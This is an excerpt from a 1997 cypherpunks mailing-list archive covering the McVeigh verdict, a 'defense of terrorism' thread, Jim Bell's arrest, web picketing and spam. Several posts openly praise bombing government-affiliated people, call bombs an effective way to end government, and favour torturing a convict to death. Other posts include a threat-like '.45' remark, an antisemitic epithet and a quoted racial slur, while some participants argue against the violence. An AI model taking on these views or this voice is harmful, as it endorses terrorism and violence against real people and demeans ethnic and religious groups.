> mention it is an EQUALLY fucked up thing to blow up adults.

Depends who those adults are, as I said in a post yesterday, I do not 
subscribe to the "save the children!" mentality, and killing an innocent 
adult is as criminal as killing an innocent child, but those children 
could not possibly have initiated agression against McVeigh, because they 
were under the age of criminal responsibility (which is a hazy area, but 
I think this case is pretty clear cut). Blowing up guilty, evil, and 
government affiliated adults is to be highly commended.

> Like my fellow Santa Clara County Resident Bill Frantz said :
> 
> For cypherpunks this comes down to: Make code, not bombs.

True, code will lead to further liberation in the virtual communities, 
but bombs are an effective device for ending the corrupt tyrannical 
government that rules us.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 12:29:01 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050354.WAA04800@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 22:31:07 -0500
> Subject: Re: Webpage picketing (fwd)

> I as Joe Sixpack want to goto http://www.bigtits.com
> 
> You as goodie-2-shoes want to picket this site.
> 
> Inorder to do this you wish to have me goto http://www.NOW.com and see
> their anti-porn page before I can see the bigtits page. (wether I actually
> goto their website or the page is automatically downloaded is irrelevant
> for the disscusion).

Not exactly, I am saying it would be legaly permissible under the same chain
of reasoning that allows picketing at a public sidewalk in front of a
business to extend it to network traffic which traversed a public link in
the chain of nodes between user and server. I am in effect saying the
end point publicly funded servers on a section of publicly funded network,
not the user or the actual target server (who again have no more stake in
this than in an actual picket line - none), would be required to provide
3rd party single pages before serving the actual target of the user based
upon the same sorts of situations that arise in meatland.

Is that clearer?

> Where exactly is it in the constution that say that your free speech
> rights extend to the point where you can force me to read what you have to
> say when I don't want to?

The 1st Amendment, when you are traversing public property, be it a sidewalk
or stretch of network cable. It is simply a matter of strategy and geography
if for you to get to where you want to go you have to go through public
property on which I desire to speak. Neither you nor your intended
destination has anything to say about it.

> I just don't see how you can make this leap regardless of who is doing the
> funding.

Then you don't understand how picketing works. To get to the private store
you must cross public property. The public is free to use that property to
their own ends within the law. The law allows, through the 1st Amendment,
anyone to stand on that public stip and make certain claims about adjacent
private parties. Hell, you can legaly picket a private individuals house as
long as you do it from the sidewalk - which by extension means that they
could specificaly picket your personal server if they desired as long as
they did it from a publicly funded stretch of network.

> I'll leave the numerous analogies alone for a latter post. I just don't
> see where anyone has the right to tell me what I must read.

As long as you are not using everybody elses money (ie public funds) to get
there they don't. But your not wanting to see the picketers in front of
Bookstop on the sidewalk in no way impacts their right to be there and your
total impunity to do anything about it legaly short of picketing yourself.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:13:28 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <33959B0B.167E@ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970604230312.624C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > Hallam-Baker, realizing he is a soft target, wrote:
> 
> > I would say that the visible and government-vilified militia groups have
> > been damaged by this, because of the killing of innocents. Where is the
> > second AP bot, I know about the one at sympatico.......
> 
> I find it very hard to credit people as being opposed to
> censorship when they make thinly veiled threats of murder
> when people post things they don't like.

What? - I don`t seem to recall making any threat, if you are referring to 
the AP quote above, see the post it was in reply to which mention 2 AP 
bots, I asked where the second was, this was not even intended as a 
humorous mock-threat, I did not even notice it looked threatening in 
context. 

If you are referring to the "soft target" quote, that came from a post I 
replied to and was not mine. Look elsewhere.

Also, you are clearly under some misconception if you feel censored or 
threatened by my speech, as anyone who reads my posts often will know, I 
would take no initial agressive act against anyone.

> This is the type of censorship that the IRA uses in NI,
> Catholics who join organisations opposed to the IRA get
> death threats and threats of punishment beatings. When 
> the parents of the five year old murdered by an IRA bomb
> placed in a rubish bin outside a McDonalds announced
> a US speaking tour the IRA threatened to murder them.

The IRA are a bunch of thugs, who happen to serve a useful purpose, 
personally however, I would say than on balance their attacks on 
civilians and private property harm the cause of freedom by showing 
that some of the "terrorists" around really are nasty scary control-freaks.

> Murdering your opponents for what they say is censorship. 

Quite so, you seem to be answering a point I never made, please elaborate 
on this deep issue you appear to have just discovered.

> Bell's Murder Politics scheme was a censorship scheme.

Wrong, Bells AP was intended by Bell as a defensive system to be used 
against agressors, saying AP is a censorship scheme is like saying a gun 
is a tool of censorship because you can kill someone with it. So is a 
knife, so is a big stick.

> The fact that Miltia sympathisers condone censorship 
> through murder while fulminating at censorship by
> governement does not surprise me in the least. i can
> guess that someone will try to redefine censorship to
> exclude death threats.

All speech is non-criminal and non agressive, I could make a direct death 
threat with specific details and would not consider my actions criminal, 
I am no militia sympathiser, if McVeigh did kill those children he should 
die for it. I agree that militia groups along the lines of those McVeigh 
was supposedly acting for are merely factions which wish to take over the 
state, not destroy it.

> It is precisely beause of this type of behaviour that
> people consider the militias and their sympathisers to
> be fascist in nature and a threat to the values they
> claim to defend.

Quite so, but "defending" society from a few fascists does not remove the 
responsibility of a government to govern properly in a minarchist 
fashion, nor indeed does it change the fact that government "evolves" to 
become invasive and unnaturally large. 

McVeigh was a highly deranged individial if he did bomb the building, 
when caught he was wearing a T-Shirt with the Jefferson quotation on it 
"The tree of liberty from time to time must be replenished with the blood 
of patriots and tyrants", McVeigh did not believe in personal liberty, 
supposedly (although this is media reported so I cannot fully believe it) 
McVeigh was just another loon who wanted to take over the government to 
turn it in his own preferred direction.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 14:36:27 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Spam costs and questions
In-Reply-To: <Pine.GSO.3.95.970604124518.14450E-100000@well.com>
Message-ID: <v03007831afbc01089cdb@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 PM -0700 6/4/97, Declan McCullagh asked:
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

I don't think the costs of the 1-3 spam messages I get each day is
significant.  (But I don't post to Usenet.)


>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.

Can you say regulatory arbitrage?  The current social controls on spam are
good enough that no one with any positive reputation wants to have anything
to do with it.  This means that spammers have to use anonymous offshore
answering services.  The widespread hatred of spam and spammers should keep
the total amount under control without the legal action and in spite of the
very low cost of spamming.

The recent problems Spamford has been having with denial of service attacks
is just one example of the social control process.  The flood of hostile
email spammers who include real email addresses receive are another.
Legitimate commercial email does not evoke these strong reactions.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:14:22 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970604231629.624D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Give it a rest. The people inside had already murdered several BATF
> agents. They had every opportunity to release the children and allow
> them to get to safety. They had every opportunity to surrender.

The acts were not of murder, the compound inhabitants were simply acting 
in response to the BATF agents actions of trespass, of course they had 
opportunity to surrender, so did the jews in nazi Germany.

> The US police may be incompetent and corrupt but that does not excuse
> the Oaklahoma bombing nor does it in any way lessen the responsibility of
> McVeigh and those who encouraged him.

For once I agree, but on a trivial and unimportant point.

Further those who encouraged him may be responsible, but are not guilty 
of any crime.

> If you have a duly authorised warrant from a court, the inhabitants have
> shot at people from inside the building and you give them two months to
> surrender, sure go for it.

If the people they shot at were trespassing on their land they have done 
nothing wrong. If I come to your front door and give you 2 months to 
surrender your house to me, I think I can predict your reaction.

> yeah peacefull types whose response to a visit from the police was to
> lie in ambush and shoot at them with automatic weapons.

Quite so, the police are agressors by trespassing on their land they 
commited an initiation of agression. Don`t give me this "reasonable 
force" bullshit either.

> So are you suggesting that the police ignore the complaints of illegal
> ownership of firearms and child abuse?

Yes, illegal ownership of firearms is an oxymoron, no weapons should be 
illegal. As for the child abuse, that is a thornier subject, but the 
police had no right to be there.

> And in any case the point is that Waco does not absolve McVeigh and
> the militias for the blame for Oaklahoma.

No, but it doesn`t change the fact that no-one is supporting McVeighs 
agressive act against the children in that building. There are many sides 
to this case, it is not just a black and white case, there are a lot of 
angles one can analyse and judge it from.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 14:31:15 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <0nZMXF200YUg07xmg0@andrew.cmu.edu>
Message-ID: <v03007836afbc0a8dda6a@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:51 AM -0700 6/4/97, Tim May wrote:
>At 8:25 AM -0700 6/4/97, Jeremiah A Blatz wrote:
>>Bill Frantz <frantz@netcom.com> writes:
>>> At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>>> >Contrast ["milita violence"] with the brilliance of the anarchist
>>> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>>> >acts were calculated to call forth popular support.
>><snip>
>>> If you at least avoid killing people, then you have fewer bitter enemies
>>> and a better chance of holding on to your winnings.  The examples of
>>> Gandhi, King, and Mandala come to mind.  Contrast their success with the
>>> results of the violence approach as exemplified by the generations old wars
>>> in Ireland and Israel.
>>
>>You left out Sea Shepard, who sank the entire Icelandic whaling fleet
>>(with zero casualties) on night. Earth First!, Greenpeace, and other
>>somewhat-less-direct action groups have used "terrorist" means and
>>achieved enourmous popular support.
>
>I don't want to start "defending terrorism," esp. of the murderous sort,
>but the plain fact for anyone to see is that terrorism often _does_ work.
>
>Look at Palestine/Israel/the Zionist Insect/whatever.
>
>Had the Palestinians calmly filed petitions to get the land back that was
>seized by European Jews after the Second World War--the Brits often
>referred to Palestinians and Arabs as "sand niggers"--would any land ever
>have been transferred back?

Right.  They have their land back.  And they have peace on that land.  Sure.

They certainly could have not done much worse had the followed Gandhi and
King with massive civil disobedience.  Civil disobedience has a pretty good
track record when used against civilized countries.  (I wouldn't recommend
it in present-day China or Nazi Germany.)


>(In fact, the act of terrorism against the 242 Marines in Beirut in 1983
>"worked," didn't it? The Americans were on their way out within weeks.)

Probably because there wasn't much domestic support for our staying there.
The same comment applies to the British leaving Palestine.  IMHO, the
situation is quite different when the disagreement is civil-war in nature,
as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
is likely to get tired and go home.  The only long-term solution is to
learn to live together.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 5 Jun 1997 15:11:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102806afb8d1b8fe50@[207.167.93.63]>
Message-ID: <3.0.2.32.19970604233411.03aa8cf4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM 6/4/97 -0400, frissell@panix.com wrote:

>I find this hard to believe.  I guess it takes all kinds to make a world.
In 
>the current employment market for people with crypto skills, few are going
to 
>get fired for their political views and no one of these types would find it 
>hard to get another job if fired.

When I decided to quit my job at DigiCash, I had three offers the next day.
That was before I mentioned my decision on the Net. Still, I have toned
down my posts to the list. I am considerably more careful about how what I
am saying will be looked at in the future.

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 14:37:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102818afbb58470a20@[207.167.93.63]>
Message-ID: <v03102800afbc0d343106@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:26 PM -0700 6/4/97, Bill Frantz wrote:

>as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
>is likely to get tired and go home.  The only long-term solution is to
>learn to live together.
  ^^^^^^^^^^^^^^^^^^^^

On this subject, my list colleague Bill and I are from different planets.
The chasm that separates us is a Grand Canyon.

When I hear people talk about "why can't we just get along together?" and
its variants, I reach for my .45.

"Learning to live together" is absurd when the other side has stolen your land.

Strong crypto is also a tool of vengeance.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 12:49:05 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706050354.WAA04800@einstein.ssz.com>
Message-ID: <199706050444.XAA29186@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706050354.WAA04800@einstein.ssz.com>, on 06/04/97 
   at 10:54 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Wed, 04 Jun 97 22:31:07 -0500
>> Subject: Re: Webpage picketing (fwd)

>> I as Joe Sixpack want to goto http://www.bigtits.com
>> 
>> You as goodie-2-shoes want to picket this site.
>> 
>> Inorder to do this you wish to have me goto http://www.NOW.com and see
>> their anti-porn page before I can see the bigtits page. (wether I actually
>> goto their website or the page is automatically downloaded is irrelevant
>> for the disscusion).

>Not exactly, I am saying it would be legaly permissible under the same
>chain of reasoning that allows picketing at a public sidewalk in front of
>a business to extend it to network traffic which traversed a public link
>in the chain of nodes between user and server. I am in effect saying the
>end point publicly funded servers on a section of publicly funded
>network, not the user or the actual target server (who again have no more
>stake in this than in an actual picket line - none), would be required to
>provide 3rd party single pages before serving the actual target of the
>user based upon the same sorts of situations that arise in meatland.

>Is that clearer?

>> Where exactly is it in the constution that say that your free speech
>> rights extend to the point where you can force me to read what you have to
>> say when I don't want to?

>The 1st Amendment, when you are traversing public property, be it a
>sidewalk or stretch of network cable. It is simply a matter of strategy
>and geography if for you to get to where you want to go you have to go
>through public property on which I desire to speak. Neither you nor your
>intended destination has anything to say about it.

>> I just don't see how you can make this leap regardless of who is doing the
>> funding.

>Then you don't understand how picketing works. To get to the private
>store you must cross public property. The public is free to use that
>property to their own ends within the law. The law allows, through the
>1st Amendment, anyone to stand on that public stip and make certain
>claims about adjacent private parties. Hell, you can legaly picket a
>private individuals house as long as you do it from the sidewalk - which
>by extension means that they could specificaly picket your personal
>server if they desired as long as they did it from a publicly funded
>stretch of network.

>> I'll leave the numerous analogies alone for a latter post. I just don't
>> see where anyone has the right to tell me what I must read.

>As long as you are not using everybody elses money (ie public funds) to
>get there they don't. But your not wanting to see the picketers in front
>of Bookstop on the sidewalk in no way impacts their right to be there and
>your total impunity to do anything about it legaly short of picketing
>yourself.

Well this is why I had wanted to set the analogies aside. There are some
real diferences between cyberspace and your metaspace analogy of the
picket line. In cyberspace there is no sidewalk for your picket to stand
and for me to pay as little or as much attention as I wish.

A more closer analogy between cyberspace and metaspace is that your
picketors are not standing off to the side but are blocking the door and
the only way I can enter is to read their signs first. This is the point
where your picketors have oversteped the bounds of their 1st Amendment
rights. While the have the right to picket infront of the store they
cannot interfere with the comming and goings of the customers. The has
been well tested in the courts. The problem with extending the picket
analogy to cyberspace is there are no sidewalks. It's all or nothing.
Either you are blocking the door or you are not.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:14:12 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: McVeigh
In-Reply-To: <Pine.SUN.3.96.970604161638.24801B-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.91.970604234636.624F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> A better question, and a bigger issue is this: what plausible explanation
> was given for the lack of BATF agents in the building on that day?  Could
> it be that they knew about the attack?  If they did, why did they allow it
> to happen, thus killing those kids in the day care center.  If they did,
> we know who the true criminals are.  But this is a good question.  Will we
> ever know the truth?

We may speculate, we may even know the truth. The government however 
won`t allow a small thing like truth to stand in their way.

> IMHO, If McVeigh did what he did, frying or lethal injection is
> acceptable, he decided to take an action that would potentially cost him
> his life, gambled and lost.

Yes, he is guilty of murder and I would favour torturing him to death 
slowly, this is not emotional reactionism, merely a desire for justice 
and fair punishment.

As I have said, I personally believe McVeigh was guilty, this does not 
make it so, and no jury in the world should have convicted him on what 
was presented.

> Like all terrorists, the price of killing
> many is the price of being killed.  Etc.  It's a fair trade from one point
> of view (though my money says he's shitting bricks right now), unfair from
> the victim's point of view.

A fairly natural reaction, McVeigh will suffer the most if he is 
executed, I would imagine that unless you are a deeply religious person 
the knowledge of your impending death is indeed terrifying. I recall a 
near miss I had in a car a while ago, I thought I was going to hit an 
oncoming car and be killed, only lasted about 10 seconds, if that, yet it 
was the most terrifying experience of my life, going through than for weeks 
or months is indeed a fitting punishment if he is guilty.

> Life sucks.  Death sucks even more.

Indeed, sometimes in very dark moments I do believe being dead might be 
more fun <g>, less to worry over, but the will to self destruction is 
surrender.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 5 Jun 1997 15:02:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Will Bell get the rest of us in trouble?
In-Reply-To: <v0302090cafbbdd5e8baf@[139.167.130.246]>
Message-ID: <3.0.2.32.19970604235647.007645e4@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> However, the focus, at least for why he has been denied bail, is strongly
> on the "assassination politics" essays and communications, and on
> "overthrowing the government" sorts of things. (This according to the
> affidavit, and according to what Greg Broiles relayed from Bell's
> court-appointed lawyer.)

Actually, I haven't spoken with Bell's attorney, but John Young did. My
comments about Jim and his situation, jail policies, etc., are based on
reading the search warrant docs, the complaint, and on a general
understanding of the practical/applied side of criminal law. I don't have
any knowledge about the specific facts of this case that aren't on my site
or John Young's. Several of us from C2Net did talk with Jim's mom on the
telephone a day or two after the raid, but didn't learn anything that
hasn't been covered in the various newspaper articles about the case.

Has anyone read/heard anything about the nature of the grand jury
proceedings which are scheduled? The articles I've seen have suggested that
perhaps Jim will get good news from the grand jury - but I'm wondering if
it's not the federal prosecutor's way to seek *more* charges, fish for more
evidence (witnesses can be subpoena'd to testify before the grand jury, and
aren't allowed to have their own counsel present with them in the hearing
room during their testimony, although they are allowed to take the Fifth)
and/or try out some of the weirder conspiracy/militia stuff in front of
more or less ordinary citizens. A grand jury indictment (or refusal to
indict) is a good way for a prosecutor to deflect scrutiny/publicity from
their own decisions, and blame the outcome on a third party. If they
indict, the prosecutor points to their decision as proof that s/he isn't
just indulging a personal vendetta against the defendant. If they don't
indict, the prosecutor can point out that s/he did their best but was
thwarted by a third party. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 5 Jun 1997 12:20:12 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <Pine.GSO.3.95.970605000244.19883A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I was having dinner with Don Haines, a friend of mine who's a legislative
counsel with the national ACLU, when the McVeigh verdict came down.

A Canadian prosecutor who was having dinner with us said: "So McVeigh did
it after all."

Don replied: "No. He was found guilty of the crime."

There is a difference.

-Declan



On Wed, 4 Jun 1997, Chris DiBona wrote:

> <rant>
> 
> Okay folks...what the hell is wrong with you? First off, this whole McVeigh 
> Crap is a bit off topic..but we all know this. The amazing thing about the 
> string of posts has been that people have forgotten that He has been found 
> guilty of murdering quite a few people. Guilty,  Guilty,  Guilty. Jury of 
> his peers, dare I say, people like us all. Randomly selected. This is how 
> our system works.
> 
> Yes there are flaws in the system.
> 
> Yes the US govt. has it's problems in the past, present and future.
> 
> Yes people have died because schnooks in DC have had thier heads up thier 
> ass. Or not.
> 
> So whether or not you belive he did it.....how can anyone be _for_ what 
> _happened_. People died senselessly, I can't believe that anyone (in this 
> case Duncan Frissell frissell@panix.com, lets give credit where it is due) 
> can be so callous and , frankly, sick , to say :
> 
> <>
> As to the Children of OKC, people who turn the care of their children over 
> to
> government employees or contractors do not place too high a value on those
> children.
> <>
> 
> Are you serious? You should be ashamed that you think this way. Do you 
> really
> think those children who died weren't cared for? You are a sick person who
> should seriously consider therapy. Anyone who read this and said "Yeah!" 
>  is
> on the same plane.
> 
> To all the people who defend blowing shit and people up to get thier point 
> across....
> 
> Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does 
> the
> PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh 
> did it.
> But that doesn't make blowing up children in freakin' day care all right. 
> Do you
> understand this? There is no reason to blow up kids. It's wrong. For any 
> reason.
> Bad. Duncan...looking over your past posts.. .I've got to wonder if you 
> were on acid
> when you wrote this, many of your posts were fairly cozigent. But this? Do 
> you have
> children? Any  cousins who are children? A nephew or neice? Do these 
> children
> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast 
> radius or
> shooting range of :
> 
> A government office.
> A large corporations headquarters.
> A law firm.
> A post office.
> A town square.
> A restaurant.
> A bank.
> Anywhere some asshole might have a gun and go loopy.
> Anywhere some asshole might have a car be drunk and go loopy.
> Anywhere some asshole might have a gun and a car and be drunk and go loopy. 
> 
> If they even could, I'm someone somewhere will find a way to fuck up that 
> safe place.
> 
> You get the point, I could go on....but I won't.  Perhaps you should think 
> and read
> over your posts before you post again. The only good thing (and I mean 
> ONLY) to
> come out of the whole Mcveigh thing being discussed here on cypherpunks, is
> that it has allowed me to add to my killfiles people who have for some 
> reason,
> had a prefrontal.
> 
> To all the dipshits who could possibly think otherwise. I should also 
> mention it
> is an EQUALLY fucked up thing to blow up adults.
> 
> Like my fellow Santa Clara County Resident Bill Frantz said :
> 
> For cypherpunks this comes down to: Make code, not bombs.
> 
> 	Chris DiBona
> 
> </rant>
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 13:20:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Anarchy, Peter Pan, and Insults
In-Reply-To: <v03102807afbbf55a7e2d@[207.167.93.63]>
Message-ID: <199706050516.AAA29616@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102807afbbf55a7e2d@[207.167.93.63]>, on 06/04/97 
   at 10:02 PM, Tim May <tcmay@got.net> said:

>(Those who have a deeper understanding of anarchy, whether
>anarcho-capitalism or more leftist variants, tend to understand that the
>underlying similarities are greater than the differences. Though I favor
>unrestricted free markets, I understand that corporate agents, like
>Microsoft, PGP, and RSA, will seek advantage anyway they can, and are a
>threat in any statist system. Anarchy lessens their power in more ways
>than one. I will continue to fight my left-anarchist friends on issues
>like gun control and freedom of association, but we seem to agree that
>reducing power of central governments remains a good thing.)

There is an old Middle East saying: "The enemy of my enemy is my friend"

While such a philosphy can be quite effective taticly it can pose risks
strategicly.

A good example of this was our support of Iraq durring the Iraq-Iran war
even though Iraq had traditionally been a soviet allie. This came back to
haut us durring the gulf War as our previous "friend" became a new enemy
when truly they were always an enemy and the freindship was temporarily
created through a common "enemy". Many other examples of this can be seen
in US foreign relations.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 5 Jun 1997 12:29:42 +0800
To: Kent Crispin <cypherpunks@toad.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <3.0.2.32.19970605001420.03852ed0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Yes, some pathetic strange little boys swaggering around in never-never 
>land.  Lonely individuals with shriveled hearts, stunted morals, and 
>feverish imaginations, who brag contemptuously of their superiority
>over "sheeple", and boast of their heroic roles in the coming 
>revolution.

I hope you're not referring to Lucky, or Time May, or me.  Lucky has a 
successful career in a computer-related field.  Tim was exceedingly well-
integrated into the work force at Intel and did a great deal of valuable and 
lucrative work for them.  I am married with four children (who I never sent to 
a government school) and get along well with a host of friends and co-workers. 
 I have achieved a modicum of success as a writer and speaker.  I happen to be 
a neo-victorian myself.

Why is it that when someone like Al Gore expresses strong and extremist views 
as he did in "Earth in the Lurch" (or whatever that book was called) no one 
ever claims that he is " a pathetic strange little boy swaggering around in 
never-never land.  A lonely individual with a shriveled heart, stunted morals, 
and a feverish imagination."

How do you know our hearts are shriveled?  Can it be because we can do the 
math and figure out the Feds are *much* bigger killers than McVeigh?  Why 
don't you bleed for *their* victims.  Remember, government's crimes are worse 
than private crimes (even apart from the higher body count) because a serious 
breach of duty and trust is involved. 

Look, people are bound to disagree over social policy and even right and 
wrong.  But since everyone is much more powerful than they used to be, a force-
based monopoly on policy and morality ("others" government) just can't be 
sustained anymore.  Your side just simply doesn't have the artillery.  It 
would be better for everyone if you would recognize reality, step back, and 
allow self-government to replace others-government.  It will happen anyway.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 5 Jun 1997 12:40:24 +0800
To: cypherpunks@toad.com
Subject: Government money, Net picketing, and public fora
In-Reply-To: <199706050148.UAA04173@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970605002510.20773B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Unfortunately, Jim has no idea what he's talking about. Accepting public
money does not magically turn something into a public forum. 

I'm not sure how I can get this idea through.

-Declan


On Wed, 4 Jun 1997, Jim Choate wrote:
> 
